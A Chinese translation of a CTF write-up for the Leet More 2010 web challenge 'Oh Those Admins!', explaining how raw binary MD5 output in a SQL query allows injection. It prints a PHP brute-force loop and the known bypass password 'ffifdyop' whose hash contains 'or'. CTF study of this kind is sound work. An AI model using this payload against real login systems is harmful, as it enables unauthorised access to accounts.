美文网首页ctf
Leet More 2010 Oh Those Admins!

Leet More 2010 Oh Those Admins!

作者: Vophan | 来源:发表于2019-04-23 15:49 被阅读0次

译者注:在做ctf中一道web题时,涉及到了MD5在sql中的应用,于是翻到了国外一个小哥的博客,写的非常详细,于是决定翻译一下。

这道题的题目是我们输入一个密码到PHP写的脚本中,计算他的二进制MD5值,传入到sql中用于查询:

SELECT login FROM admins WHERE password = '$raw_md5'

如果我们可以绕过条件判断,我们将可以得到所有的admins账号。

原始的MD5值中(转化为字符串后)可以包含任何字符,并且脚本未加处理就提交给sql语句,这是一个典型的SQL注入问题。

我们要做的就是:构造一个含有'or'1,所以在链接起来就像:

select * from admins where password = "<trash>"or'1<shit>';

多亏了'or'1,我们得到了admins表中所有的记录。

数学告诉我们,如果想要求出一个含有'or'1的杂凑串需要求256 ^ 5 / 11 = 99955602525个哈希值,如果我们每秒运算5000k次,那么我们需要5.5小时才能得到一个可用的哈希值。于是,我们将‘Or’,'OR','oR'加入其中,将速度提升了45倍,现在我们每5分钟就可以得到一个可用的哈希值。

我使用John的修改版本来做暴力破解,但即使是php脚本也会在合理的时间内为您提供所需的内容:

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

我已经计算出了一个密码:ffifdyop,他的哈希值是276f722736c95d99e921722cf9ed621c (‘or’6<trash>)

登录后,我们在二进制文件中看到真正的管理员密码哈希:00071cc0720abd73f61a291224f248d6

相关文章

网友评论

    本文标题:Leet More 2010 Oh Those Admins!

    本文链接:https://www.haomeiwen.com/subject/onnvgqtx.html